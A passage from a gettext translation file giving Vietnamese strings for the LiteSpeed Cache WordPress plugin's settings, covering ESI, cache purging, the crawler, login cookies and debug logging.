#: tpl/page_optm/settings_css.tpl.php:277 tpl/page_optm/settings_vpi.tpl.php:88
msgid "Vary Group"
msgstr "Nhóm khác nhau"

#: tpl/cache/settings-esi.tpl.php:85
msgid "Cache the built-in Comment Form ESI block."
msgstr "Lưu trữ bộ nhớ cache cho khối ESI Biểu mẫu Nhận xét tích hợp."

#: src/lang.cls.php:218
msgid "Cache Comment Form"
msgstr "Bộ nhớ đệm cho biểu mẫu bình luận"

#: tpl/cache/settings-esi.tpl.php:72
msgid "Cache the built-in Admin Bar ESI block."
msgstr "Lưu bộ nhớ đệm cho khối ESI Admin Bar tích hợp."

#: src/lang.cls.php:217
msgid "Cache Admin Bar"
msgstr "Bộ nhớ đệm cho thanh quản trị"

#: tpl/cache/settings-esi.tpl.php:59
msgid "Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below."
msgstr "BẬT để lưu các trang công khai cho người dùng đã đăng nhập và phục vụ Thanh quản trị và Biểu mẫu nhận xét thông qua các khối ESI. Hai khối này sẽ được mở khóa trừ khi được kích hoạt bên dưới."

#: tpl/cache/settings-esi.tpl.php:21
msgid "ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all."
msgstr "ESI cho phép bạn chỉ định các phần của trang động dưới dạng các đoạn mã riêng biệt, sau đó chúng được ghép lại với nhau để tạo thành trang hoàn chính. Nói cách khác, ESI cho phép bạn \"đục lỗ\" trên một trang và sau đó lấp đầy các lỗ đó bằng nội dung có thể được cache riêng tư hoặc công khai với bộ nhớ riêng của mình hoặc không được lưu vào bộ nhớ cache."

#: tpl/cache/settings-esi.tpl.php:20
msgid "With ESI (Edge Side Includes), pages may be served from cache for logged-in users."
msgstr "Với ESI (Bao gồm Edge Side), các trang có thể được cache cho người dùng đã đăng nhập."

#: tpl/esi_widget_edit.php:53
msgid "Private"
msgstr "Riêng tư"

#: tpl/esi_widget_edit.php:52
msgid "Public"
msgstr "Công khai"

#: tpl/cache/network_settings-purge.tpl.php:17
#: tpl/cache/settings-purge.tpl.php:15
msgid "Purge Settings"
msgstr "Cài đặt dọn dẹp"

#: src/lang.cls.php:107 tpl/cache/settings_inc.cache_mobile.tpl.php:90
msgid "Cache Mobile"
msgstr "Bộ nhớ đệm cho mobile"

#: tpl/toolbox/settings-debug.tpl.php:119
msgid "Advanced level will log more details."
msgstr "Cấp độ nâng cao sẽ ghi lại thêm chi tiết."

#: tpl/presets/standard.tpl.php:29 tpl/toolbox/settings-debug.tpl.php:117
msgid "Basic"
msgstr "Cơ bản"

#: tpl/crawler/settings.tpl.php:73
msgid "The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated."
msgstr "Quá trình tải từ máy chủ trung bình tối đa được phép trong khi thu thập thông tin. Số lượng luồng thu thập thông tin đang sử dụng sẽ được giảm tích cực cho đến khi quá trình tải từ máy chủ trung bình rơi vào giới hạn này. Nếu nó không thể đạt được với một luồng duy nhất, thì trình thu thập thông tin hiện tại sẽ bị chấm dứt."

#: src/lang.cls.php:106
msgid "Cache Login Page"
msgstr "Bộ nhớ đệm cho trang đăng nhập"

#: tpl/cache/settings-cache.tpl.php:89
msgid "Cache requests made by WordPress REST API calls."
msgstr "Yêu cầu bộ nhớ đệm được thực hiện bởi các lệnh gọi REST API của WordPress."

#: src/lang.cls.php:105
msgid "Cache REST API"
msgstr "Cache REST API"

#: tpl/cache/settings-cache.tpl.php:76
msgid "Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)"
msgstr "Cache một cách riêng tư cho các bình luận đang chờ xử lý. Tắt tùy chọn này thì máy chủ sẽ không cache cho các trang có người bình luận. (Yêu cầu LSWS %s)"

#: src/lang.cls.php:104
msgid "Cache Commenters"
msgstr "Bộ nhớ đệm cho người bình luận"

#: tpl/cache/settings-cache.tpl.php:63
msgid "Privately cache frontend pages for logged-in users. (LSWS %s required)"
msgstr "Các trang giao diện bộ nhớ đệm riêng tư dành cho người dùng đã đăng nhập. (Yêu cầu LSWS %s)"

#: src/lang.cls.php:103
msgid "Cache Logged-in Users"
msgstr "Bộ nhớ đệm cho người dùng đã đăng nhập"

#: tpl/cache/network_settings-cache.tpl.php:17
#: tpl/cache/settings-cache.tpl.php:15
msgid "Cache Control Settings"
msgstr "Bộ nhớ đệm cho cài đặt kiểm soát"

#: tpl/cache/entry.tpl.php:70
msgid "ESI"
msgstr "ESI"

#: tpl/cache/entry.tpl.php:19 tpl/cache/entry.tpl.php:69
msgid "Excludes"
msgstr "Loại trừ"

#: tpl/cache/entry.tpl.php:18 tpl/cache/entry.tpl.php:68
#: tpl/toolbox/entry.tpl.php:16 tpl/toolbox/purge.tpl.php:141
msgid "Purge"
msgstr "Dọn dẹp"

#: src/admin-display.cls.php:254 tpl/cache/entry.tpl.php:17
#: tpl/cache/entry.tpl.php:66
msgid "Cache"
msgstr "Bộ nhớ đệm"

#: tpl/cache/settings-purge.tpl.php:132
msgid "Current server time is %s."
msgstr "Thời gian máy chủ hiện tại là %s."

#: tpl/cache/settings-purge.tpl.php:131
msgid "Specify the time to purge the \"%s\" list."
msgstr "Chỉ định thời gian để dọn sạch danh sách \"%s\"."

#: tpl/cache/settings-purge.tpl.php:107
msgid "Both %1$s and %2$s are acceptable."
msgstr "Cả %1$s và %2$s đều được chấp nhận."

#: src/lang.cls.php:129 tpl/cache/settings-purge.tpl.php:106
msgid "Scheduled Purge Time"
msgstr "Dọn dẹp theo lịch trình"

#: tpl/cache/settings-purge.tpl.php:106
msgid "The URLs here (one per line) will be purged automatically at the time set in the option \"%s\"."
msgstr "Các URL ở đây (mỗi URL là một dòng) sẽ được xóa tự động tại thời điểm được đặt trong tùy chọn \"%s\"."

#: src/lang.cls.php:128 tpl/cache/settings-purge.tpl.php:131
msgid "Scheduled Purge URLs"
msgstr "Các URL được dọn dẹp theo lịch trình"

#: tpl/toolbox/settings-debug.tpl.php:147
msgid "Shorten query strings in the debug log to improve readability."
msgstr "Rút ngắn chuỗi truy vấn trong nhật ký gỡ lỗi để cải thiện khả năng đọc."

#: tpl/toolbox/entry.tpl.php:28
msgid "Heartbeat"
msgstr "Heartbeat"

#: tpl/toolbox/settings-debug.tpl.php:130
msgid "MB"
msgstr "MB"

#: src/lang.cls.php:260
msgid "Log File Size Limit"
msgstr "Giới hạn kích thước tệp nhật ký"

#: src/htaccess.cls.php:784
msgid "<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s"
msgstr "<p>Vui lòng thêm/thay thế các mã sau vào đầu %1$s:</p> %2$s"

#: src/error.cls.php:159 src/error.cls.php:183
msgid "%s file not writable."
msgstr "%s tệp không thể ghi được."

#: src/error.cls.php:179
msgid "%s file not readable."
msgstr "Không thể đọc được tệp %s."

#: src/lang.cls.php:261
msgid "Collapse Query Strings"
msgstr "Thu gọn chuỗi truy vấn"

#: tpl/cache/settings-esi.tpl.php:15
msgid "ESI Settings"
msgstr "Cài đặt ESI"

#: tpl/esi_widget_edit.php:82
msgid "A TTL of 0 indicates do not cache."
msgstr "Chỉ số TTL bằng 0 cho biết điều này không được cache."

#: tpl/esi_widget_edit.php:81
msgid "Recommended value: 28800 seconds (8 hours)."
msgstr "Giá trị đề xuất: 28800 giây (8 giờ)."

#: src/lang.cls.php:216 tpl/esi_widget_edit.php:43
msgid "Enable ESI"
msgstr "Bật ESI"

#: src/lang.cls.php:254
msgid "Custom Sitemap"
msgstr "Sơ đồ trang web tùy chỉnh"

#: tpl/toolbox/purge.tpl.php:214
msgid "Purge pages by relative or full URL."
msgstr "Dọn dẹp các trang bằng URL tương đối hoặc đầy đủ."

#: tpl/crawler/summary.tpl.php:61
msgid "The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider."
msgstr "Tính năng trình thu thập thông tin không được bật trên máy chủ LiteSpeed. Vui lòng tham khảo ý kiến quản trị viên máy chủ hoặc nhà cung cấp dịch vụ lưu trữ của bạn."

#: tpl/cache/settings-esi.tpl.php:45 tpl/cdn/cf.tpl.php:100
#: tpl/crawler/summary.tpl.php:60 tpl/inc/check_cache_disabled.php:38
#: tpl/inc/check_if_network_disable_all.php:28
#: tpl/page_optm/settings_css.tpl.php:77 tpl/page_optm/settings_css.tpl.php:211
#: tpl/page_optm/settings_localization.tpl.php:21
msgid "WARNING"
msgstr "CẢNH BÁO"

#: tpl/crawler/summary.tpl.php:82
msgid "The next complete sitemap crawl will start at"
msgstr "Thu thập sơ đồ trang web hoàn chỉnh tiếp theo sẽ bắt đầu tại"

#: src/file.cls.php:179
msgid "Failed to write to %s."
msgstr "Không thể ghi vào %s."

#: src/file.cls.php:162
msgid "Folder is not writable: %s."
msgstr "Thư mục không thể ghi: %s."

#: src/file.cls.php:154
msgid "Can not create folder: %1$s. Error: %2$s"
msgstr "Không thể tạo thư mục: %1$s. Lỗi: %2$s"

#: src/file.cls.php:142
msgid "Folder does not exist: %s"
msgstr "Thư mục không tồn tại: %s"

#: src/core.cls.php:339
msgid "Notified LiteSpeed Web Server to purge the list."
msgstr "Máy chủ Web LiteSpeed đã được thông báo để xóa danh sách."

#: tpl/toolbox/settings-debug.tpl.php:97
msgid "Allows listed IPs (one per line) to perform certain actions from their browsers."
msgstr "Cho phép các IP được liệt kê (một trên mỗi dòng) để thực hiện một số hành động nhất định từ trình duyệt của chúng."

#: src/lang.cls.php:251
msgid "Server Load Limit"
msgstr "Giới hạn tải máy chủ"

#: tpl/crawler/settings.tpl.php:45
msgid "Specify how long in seconds before the crawler should initiate crawling the entire sitemap again."
msgstr "Chỉ định khoảng thời gian tính bằng giây trước khi trình thu thập thông tin bắt đầu thu thập lại toàn bộ sơ đồ trang web."

#: src/lang.cls.php:250
msgid "Crawl Interval"
msgstr "Khoảng thời gian thu thập thông tin"

#. translators: %s: Example subdomain
#: tpl/cache/settings_inc.login_cookie.tpl.php:53
msgid "Then another WordPress is installed (NOT MULTISITE) at %s"
msgstr "Sau đó, một WordPress khác được cài đặt (KHÔNG MULTISITE) tại %s"

#: tpl/cache/entry.tpl.php:28
msgid "LiteSpeed Cache Network Cache Settings"
msgstr "Cài đặt bộ nhớ cache mạng LiteSpeed Cache"

#: tpl/toolbox/purge.tpl.php:179
msgid "Select below for \"Purge by\" options."
msgstr "Chọn bên dưới cho các tùy chọn \"Dọn dẹp theo\"."

#: tpl/cdn/entry.tpl.php:22
msgid "LiteSpeed Cache CDN"
msgstr "LiteSpeed Cache CDN"

#: tpl/crawler/summary.tpl.php:293
msgid "No crawler meta file generated yet"
msgstr "Chưa tạo tệp meta trình thu thập thông tin nào"

#: tpl/crawler/summary.tpl.php:278
msgid "Show crawler status"
msgstr "Hiển thị trạng thái của trình thu thập thông tin"

#: tpl/crawler/summary.tpl.php:272
msgid "Watch Crawler Status"
msgstr "Xem trạng thái của trình thu thập thông tin"

#: tpl/crawler/summary.tpl.php:251
msgid "Run frequency is set by the Interval Between Runs setting."
msgstr "Tần số chạy được đặt theo cài đặt Khoảng thời gian giữa các lần chạy."

#: tpl/crawler/summary.tpl.php:142
msgid "Manually run"
msgstr "Chạy theo cách thủ công"

#: tpl/crawler/summary.tpl.php:141
msgid "Reset position"
msgstr "Đặt lại vị trí"

#: tpl/crawler/summary.tpl.php:152
msgid "Run Frequency"
msgstr "Tần số chạy"

#: tpl/crawler/summary.tpl.php:151
msgid "Cron Name"
msgstr "Tên Cron"

#: tpl/crawler/summary.tpl.php:54
msgid "Crawler Cron"
msgstr "Cron trình thu thập thông tin"

#: cli/crawler.cls.php:100 tpl/crawler/summary.tpl.php:47
msgid "%d minute"
msgstr "%d phút"

#: cli/crawler.cls.php:98 tpl/crawler/summary.tpl.php:47
msgid "%d minutes"
msgstr "%d phút"

#: cli/crawler.cls.php:91 tpl/crawler/summary.tpl.php:39
msgid "%d hour"
msgstr "%d giờ"

#: cli/crawler.cls.php:89 tpl/crawler/summary.tpl.php:39
msgid "%d hours"
msgstr "%d giờ"

#: tpl/crawler/map.tpl.php:40
msgid "Generated at %s"
msgstr "Được tạo tại %s"

#: tpl/crawler/entry.tpl.php:23
msgid "LiteSpeed Cache Crawler"
msgstr "Trình thu thập thông tin LiteSpeed Cache"

#: src/admin-display.cls.php:259 src/lang.cls.php:249
msgid "Crawler"
msgstr "Thu thập thông tin"

#. Plugin URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"
msgstr "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"

#: src/purge.cls.php:698
msgid "Notified LiteSpeed Web Server to purge all pages."
msgstr "Đã thông báo cho LiteSpeed Web Server để xóa tất cả các trang."

#: tpl/cache/settings-purge.tpl.php:25
msgid "All pages with Recent Posts Widget"
msgstr "Tất cả các trang với widget Bài viết gần đây"

#: tpl/cache/settings-purge.tpl.php:24
msgid "Pages"
msgstr "Trang"

#: tpl/toolbox/purge.tpl.php:24
msgid "This will Purge Pages only"
msgstr "Điều này sẽ chỉ dọn dẹp các trang"

#: tpl/toolbox/purge.tpl.php:23
msgid "Purge Pages"
msgstr "Dọn dẹp các trang"

#: src/gui.cls.php:83 tpl/inc/modal.deactivation.php:77
msgid "Cancel"
msgstr "Hủy"

#: tpl/crawler/summary.tpl.php:154
msgid "Activate"
msgstr "Kích hoạt"

#: tpl/cdn/cf.tpl.php:44
msgid "Email Address"
msgstr "Địa chỉ email"

#: src/gui.cls.php:869
msgid "Install Now"
msgstr "Cài đặt ngay"

#: cli/purge.cls.php:133
msgid "Purged the blog!"
msgstr "Đã dọn dẹp blog!"

#: cli/purge.cls.php:86
msgid "Purged All!"
msgstr "Đã xóa tất cả!"

#: src/purge.cls.php:718
msgid "Notified LiteSpeed Web Server to purge error pages."
msgstr "LiteSpeed Web Server đã được thông báo để xóa các trang lỗi."

#: tpl/inc/show_error_cookie.php:27
msgid "If using OpenLiteSpeed, the server must be restarted once for the changes to take effect."
msgstr "Nếu sử dụng OpenLiteSpeed, máy chủ phải được khởi động lại một lần để các thay đổi có hiệu lực."

#: tpl/inc/show_error_cookie.php:18
msgid "If the login cookie was recently changed in the settings, please log out and back in."
msgstr "Nếu cookie đăng nhập gần đây đã được thay đổi trong cài đặt, vui lòng đăng xuất và đăng nhập lại."

#: tpl/inc/show_display_installed.php:29
msgid "However, there is no way of knowing all the possible customizations that were implemented."
msgstr "Tuy nhiên, không có cách nào để biết tất cả các tùy chỉnh có thể đã được triển khai."

#: tpl/inc/show_display_installed.php:28
msgid "The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site."
msgstr "Plugin LiteSpeed Cache được sử dụng để lưu trang vào bộ nhớ cache - một cách đơn giản để cải thiện hiệu suất của trang web."

#: tpl/cache/settings-cache.tpl.php:45
msgid "The network admin setting can be overridden here."
msgstr "Cài đặt quản trị mạng có thể được ghi đè ở đây."

#: tpl/cache/settings-ttl.tpl.php:29
msgid "Specify how long, in seconds, public pages are cached."
msgstr "Chỉ định thời gian, tính bằng giây, các trang công khai được lưu vào bộ nhớ cache."

#: tpl/cache/settings-ttl.tpl.php:44
msgid "Specify how long, in seconds, private pages are cached."
msgstr "Chỉ định thời gian, tính bằng giây, các trang riêng tư được lưu vào bộ nhớ cache."

#: tpl/cache/network_settings-cache.tpl.php:29
msgid "It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first."
msgstr "KHUYẾN NGHỊ MẠNH MẼ rằng khả năng tương thích với các plugin khác trên một/vài trang web cần được kiểm tra trước."

#: tpl/toolbox/purge.tpl.php:208
msgid "Purge pages by post ID."
msgstr "Dọn dẹp các trang bằng ID bài viết."

#: tpl/toolbox/purge.tpl.php:41
msgid "Purge the LiteSpeed cache entries created by this plugin"
msgstr "Xóa các mục bộ nhớ cache LiteSpeed được tạo bởi plugin này"

#: tpl/toolbox/purge.tpl.php:33
msgid "Purge %s error pages"
msgstr "Xóa các trang lỗi %s"

#: tpl/toolbox/purge.tpl.php:18
msgid "This will Purge Front Page only"
msgstr "Điều này sẽ chỉ dọn dẹp Trang chủ"

#: tpl/toolbox/purge.tpl.php:211
msgid "Purge pages by tag name - e.g. %2$s should be used for the URL %1$s."
msgstr "Dọn dẹp các trang theo thẻ tên - ví dụ: Nên sử dụng %2$s cho URL %1$s."

#: tpl/toolbox/purge.tpl.php:205
msgid "Purge pages by category name - e.g. %2$s should be used for the URL %1$s."
msgstr "Dọn dẹp các trang theo tên danh mục - ví dụ: Nên sử dụng %2$s cho URL %1$s."

#: tpl/toolbox/purge.tpl.php:132
msgid "If only the WordPress site should be purged, use Purge All."
msgstr "Nếu chỉ trang web WordPress cần được xóa, hãy sử dụng Xóa tất cả."

#: src/core.cls.php:334
msgid "Notified LiteSpeed Web Server to purge everything."
msgstr "LiteSpeed Web Server đã được thông báo để xóa tất cả."

#: tpl/general/network_settings.tpl.php:31
msgid "Use Primary Site Configuration"
msgstr "Sử dụng cấu hình trang chính"

#: tpl/general/network_settings.tpl.php:36
msgid "This will disable the settings page on all subsites."
msgstr "Điều này sẽ vô hiệu hóa trang cài đặt trên tất cả các trang con."

#: tpl/general/network_settings.tpl.php:35
msgid "Check this option to use the primary site's configuration for all subsites."
msgstr "Chọn tùy chọn này để sử dụng cấu hình của trang chính cho tất cả các trang con."

#: src/admin-display.cls.php:988 src/admin-display.cls.php:993
msgid "Save Changes"
msgstr "Lưu thay đổi"

#: tpl/inc/check_if_network_disable_all.php:31
msgid "The following options are selected, but are not editable in this settings page."
msgstr "Các tùy chọn sau được chọn, nhưng không thể chỉnh sửa trong trang cài đặt này."

#: tpl/inc/check_if_network_disable_all.php:30
msgid "The network admin selected use primary site configs for all subsites."
msgstr "Quản trị viên mạng có quyền chọn thiết lập của trang chính cho tất cả các trang con."

#: tpl/toolbox/purge.tpl.php:127
msgid "Empty Entire Cache"
msgstr "Xóa toàn bộ, bộ nhớ đệm"

#: tpl/toolbox/purge.tpl.php:128
msgid "This action should only be used if things are cached incorrectly."
msgstr "Hành động này chỉ nên được sử dụng nếu mọi thứ được cache không chính xác."

#: tpl/toolbox/purge.tpl.php:132
msgid "This may cause heavy load on the server."
msgstr "Điều này có thể gây ra quá tải trên máy chủ."

#: tpl/toolbox/purge.tpl.php:132
msgid "This will clear EVERYTHING inside the cache."
msgstr "Điều này sẽ xóa bỏ MỌI THỨ bên trong bộ nhớ cache."

#: src/gui.cls.php:691
msgid "LiteSpeed Cache Purge All"
msgstr "Dọn dẹp tất cả LiteSpeed Cache "

#: tpl/inc/show_display_installed.php:41
msgid "If you would rather not move at litespeed, you can deactivate this plugin."
msgstr "Nếu bạn không muốn di chuyển tại litespeed, bạn có thể tắt plugin này."

#: tpl/inc/show_display_installed.php:33
msgid "Create a post, make sure the front page is accurate."
msgstr "Tạo bài viết, đảm bảo trang chủ là chính xác."

#: tpl/inc/show_display_installed.php:32
msgid "Visit the site while logged out."
msgstr "Truy cập vào trang web trong khi đã đăng xuất."

#: tpl/inc/show_display_installed.php:31
msgid "Examples of test cases include:"
msgstr "Ví dụ về các trường hợp kiểm tra bao gồm:"

#: tpl/inc/show_display_installed.php:30
msgid "For that reason, please test the site to make sure everything still functions properly."
msgstr "Vì lý do đó, hãy kiểm tra trang web để đảm bảo mọi thứ vẫn hoạt động bình thường."

#: tpl/inc/show_display_installed.php:27
msgid "This message indicates that the plugin was installed by the server admin."
msgstr "Thông báo này cho biết plugin đã được cài đặt bởi quản trị viên máy chủ."

#: tpl/inc/show_display_installed.php:26
msgid "LiteSpeed Cache plugin is installed!"
msgstr "Plugin LiteSpeed Cache đã được cài đặt!"

#: src/lang.cls.php:257 tpl/toolbox/log_viewer.tpl.php:18
msgid "Debug Log"
msgstr "Nhật ký gỡ lỗi"

#: tpl/toolbox/settings-debug.tpl.php:80
msgid "Admin IP Only"
msgstr "Chỉ IP Admin"

#: tpl/toolbox/settings-debug.tpl.php:84
msgid "The Admin IP option will only output log messages on requests from admin IPs listed below."
msgstr "Tùy chọn IP admin chỉ xuất ra các thông điệp ghi log cho các yêu cầu từ các IP admin được liệt kê dưới đây."

#: tpl/cache/settings-ttl.tpl.php:89
msgid "Specify how long, in seconds, REST calls are cached."
msgstr "Chỉ định thời gian, tính bằng giây, các cuộc gọi REST được lưu trong bộ nhớ cache."

#: tpl/toolbox/report.tpl.php:66
msgid "The environment report contains detailed information about the WordPress configuration."
msgstr "Báo cáo môi trường chứa thông tin chi tiết về cấu hình WordPress."

#: tpl/cache/settings_inc.login_cookie.tpl.php:36
msgid "The server will determine if the user is logged in based on the existence of this cookie."
msgstr "Máy chủ sẽ xác định xem người dùng có đăng nhập hay không dựa trên sự tồn tại của cookie này."

#: tpl/cache/settings-purge.tpl.php:53 tpl/cache/settings-purge.tpl.php:90
#: tpl/cache/settings-purge.tpl.php:114
#: tpl/page_optm/settings_tuning_css.tpl.php:72
#: tpl/page_optm/settings_tuning_css.tpl.php:147
msgid "Note"
msgstr "Lưu ý"

#: thirdparty/woocommerce.content.tpl.php:24
msgid "After verifying that the cache works in general, please test the cart."
msgstr "Sau khi kiểm tra bộ nhớ cache hoạt động nói chung, hãy kiểm tra giỏ hàng."

#: tpl/cache/settings_inc.purge_on_upgrade.tpl.php:25
msgid "When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded."
msgstr "Khi được bật, bộ nhớ cache sẽ tự động xóa khi bất kỳ plugin, chủ đề hoặc lõi WordPress nào được nâng cấp."

#: src/lang.cls.php:126
msgid "Purge All On Upgrade"
msgstr "Xóa tất cả khi nâng cấp"

#: thirdparty/woocommerce.content.tpl.php:34
msgid "Product Update Interval"
msgstr "Khoảng cập nhật sản phẩm"

#: thirdparty/woocommerce.content.tpl.php:55
msgid "Determines how changes in product quantity and product stock status affect product pages and their associated category pages."
msgstr "Xác định các thay đổi về số lượng sản phẩm và trạng thái còn hàng của sản phẩm ảnh hưởng như thế nào đến các trang sản phẩm và các trang danh mục liên quan của chúng."

#: thirdparty/woocommerce.content.tpl.php:42
msgid "Always purge both product and categories on changes to the quantity or stock status."
msgstr "Luôn xóa bỏ cả sản phẩm và danh mục khi có thay đổi về số lượng hoặc trạng thái tồn kho."

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Do not purge categories on changes to the quantity or stock status."
msgstr "Không xóa các danh mục khi có thay đổi về số lượng hoặc trạng thái hàng tồn kho."

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Purge product only when the stock status changes."
msgstr "Xóa sản phẩm chỉ khi trạng thái hàng hóa thay đổi."

#: thirdparty/woocommerce.content.tpl.php:40
msgid "Purge product and categories only when the stock status changes."
msgstr "Xóa sản phẩm và danh mục chỉ khi trạng thái hàng hóa thay đổi."

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge categories only when stock status changes."
msgstr "Xóa các danh mục chỉ khi trạng thái hàng tồn kho thay đổi."

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge product on changes to the quantity or stock status."
msgstr "Xóa sản phẩm khi thay đổi số lượng hoặc trạng thái hàng hóa."

#: tpl/cache/settings_inc.cache_mobile.tpl.php:47
msgid "Htaccess did not match configuration option."
msgstr "Htaccess không khớp với tùy chọn cấu hình."

#: tpl/cache/settings-ttl.tpl.php:75 tpl/cache/settings-ttl.tpl.php:90
msgid "If this is set to a number less than 30, feeds will not be cached."
msgstr "Nếu cài đặt này được đặt thành số nhỏ hơn 30, các nguồn cấp dữ liệu sẽ không được lưu trữ."

#: tpl/cache/settings-ttl.tpl.php:74
msgid "Specify how long, in seconds, feeds are cached."
msgstr "Chỉ định thời gian, tính bằng giây, nguồn cấp dữ liệu được lưu trữ."

#: src/lang.cls.php:94
msgid "Default Feed TTL"
msgstr "Feed TTL mặc định"

#: src/error.cls.php:187
msgid "Failed to get %s file contents."
msgstr "Không thể lấy nội dung tệp %s."

#: tpl/cache/settings-cache.tpl.php:102
msgid "Disabling this option may negatively affect performance."
msgstr "Vô hiệu hoá tùy chọn này có thể ảnh hưởng tiêu cực đến hiệu suất."

#: tpl/cache/settings_inc.login_cookie.tpl.php:63
msgid "Invalid login cookie. Invalid characters found."
msgstr "Cookie đăng nhập không hợp lệ. Tìm thấy các ký tự không hợp lệ."

#: tpl/cache/settings_inc.login_cookie.tpl.php:84
msgid "WARNING: The .htaccess login cookie and Database login cookie do not match."
msgstr "CẢNH BÁO: Cookie đăng nhập trong .htaccess và cookie đăng nhập trong cơ sở dữ liệu không khớp."

#: src/error.cls.php:171
msgid "Invalid login cookie. Please check the %s file."
msgstr "Cookie đăng nhập không hợp lệ. Vui lòng kiểm tra tệp %s."

#: tpl/cache/settings_inc.login_cookie.tpl.php:57
msgid "The cache needs to distinguish who is logged into which WordPress site in order to cache correctly."
msgstr "Bộ nhớ cache cần phải phân biệt người đăng nhập vào trang WordPress nào để bộ nhớ cache chính xác."

#. translators: %s: Example domain
#: tpl/cache/settings_inc.login_cookie.tpl.php:45
msgid "There is a WordPress installed for %s."
msgstr "Có một WordPress được cài đặt cho %s."

#: tpl/cache/settings_inc.login_cookie.tpl.php:41
msgid "Example use case:"
msgstr "Ví dụ:"

#: tpl/cache/settings_inc.login_cookie.tpl.php:39
msgid "The cookie set here will be used for this WordPress installation."
msgstr "Bộ cookie đặt ở đây sẽ được sử dụng cho cài đặt WordPress này."

#: tpl/cache/settings_inc.login_cookie.tpl.php:38
msgid "If every web application uses the same cookie, the server may confuse whether a user is logged in or not."
msgstr "Nếu mọi ứng dụng web sử dụng cùng một cookie, máy chủ có thể gây nhầm lẫn cho dù người dùng có đăng nhập hay không."

#: tpl/cache/settings_inc.login_cookie.tpl.php:37
msgid "This setting is useful for those that have multiple web applications for the same domain."
msgstr "Cài đặt này hữu ích cho những người có nhiều ứng dụng web cho cùng một tên miền."

#. translators: %s: Default login cookie name
#: tpl/cache/settings_inc.login_cookie.tpl.php:32
msgid "The default login cookie is %s."
msgstr "Cookie đăng nhập mặc định là %s."

#: src/lang.cls.php:226
msgid "Login Cookie"
msgstr "Cookie đăng nhập"

#: tpl/toolbox/settings-debug.tpl.php:104
msgid "More information about the available commands can be found here."
msgstr "Thông tin thêm về các lệnh có sẵn có thể được tìm thấy ở đây."

#: tpl/cache/settings-advanced.tpl.php:22
msgid "These settings are meant for ADVANCED USERS ONLY."
msgstr "Các cài đặt này chỉ dành cho NGƯỜI DÙNG NÂNG CAO."

#: tpl/toolbox/edit_htaccess.tpl.php:91
msgid "Current %s Contents"
msgstr "Hiện tại %s Nội dung"

#: tpl/cache/entry.tpl.php:22 tpl/cache/entry.tpl.php:78
#: tpl/toolbox/settings-debug.tpl.php:117
msgid "Advanced"
msgstr "Nâng cao"

#: tpl/cache/network_settings-advanced.tpl.php:17
#: tpl/cache/settings-advanced.tpl.php:16
msgid "Advanced Settings"
msgstr "Cài đặt nâng cao"

#: tpl/toolbox/purge.tpl.php:225
msgid "Purge List"
msgstr "Xóa danh sách"

#: tpl/toolbox/purge.tpl.php:176
msgid "Purge By..."
msgstr "Xóa bởi..."

#: tpl/crawler/blacklist.tpl.php:41 tpl/crawler/map.tpl.php:76
#: tpl/toolbox/purge.tpl.php:200
msgid "URL"
msgstr "URL"

#: tpl/toolbox/purge.tpl.php:196
msgid "Tag"
msgstr "Tag"

#: tpl/toolbox/purge.tpl.php:192
msgid "Post ID"
msgstr "ID bài viết"

#: tpl/toolbox/purge.tpl.php:188
msgid "Category"
msgstr "Danh mục"

#: tpl/inc/show_error_cookie.php:16
msgid "NOTICE: Database login cookie did not match your login cookie."
msgstr "THÔNG BÁO: Cookie đăng nhập cơ sở dữ liệu không khớp với cookie đăng nhập của bạn."

#: src/purge.cls.php:808
msgid "Purge url %s"
msgstr "Xóa url %s"

#: src/purge.cls.php:774
msgid "Purge tag %s"
msgstr "Xóa tag %s"

#: src/purge.cls.php:745
msgid "Purge category %s"
msgstr "Xóa danh mục %s"

#: tpl/cache/settings-cache.tpl.php:42
msgid "When disabling the cache, all cached entries for this site will be purged."
msgstr "Khi tắt bộ nhớ cache, tất cả các mục được lưu trong bộ nhớ cache cho trang web này sẽ bị xóa."

#: tpl/cache/settings-cache.tpl.php:42 tpl/crawler/settings.tpl.php:113
#: tpl/crawler/settings.tpl.php:133 tpl/crawler/summary.tpl.php:208
#: tpl/page_optm/entry.tpl.php:42 tpl/toolbox/settings-debug.tpl.php:47
msgid "NOTICE"
msgstr "CHÚ Ý"

#: src/doc.cls.php:137
msgid "This setting will edit the .htaccess file."
msgstr "Cài đặt này sẽ chỉnh sửa tập tin .htaccess."

#: tpl/toolbox/edit_htaccess.tpl.php:41
msgid "LiteSpeed Cache View .htaccess"
msgstr "Chế độ xem bộ đệm LiteSpeed ​​.htaccess"

#: src/error.cls.php:175
msgid "Failed to back up %s file, aborted changes."
msgstr "Không thể sao lưu tệp %s, đã hủy bỏ các thay đổi."

#: src/lang.cls.php:224
msgid "Do Not Cache Cookies"
msgstr "Không Cache Cookies"

#: src/lang.cls.php:225
msgid "Do Not Cache User Agents"
msgstr "Không sử dụng Cache User Agents"

#: tpl/cache/network_settings-cache.tpl.php:30
msgid "This is to ensure compatibility prior to enabling the cache for all sites."
msgstr "Điều này đảm bảo khả năng tương thích trước khi bật bộ nhớ cache cho tất cả các trang web."

#: tpl/cache/network_settings-cache.tpl.php:24
msgid "Network Enable Cache"
msgstr "Bật Network Cache"

#: thirdparty/woocommerce.content.tpl.php:23
#: tpl/cache/settings-advanced.tpl.php:21
#: tpl/cache/settings_inc.browser.tpl.php:23 tpl/toolbox/beta_test.tpl.php:41
#: tpl/toolbox/heartbeat.tpl.php:24 tpl/toolbox/report.tpl.php:46
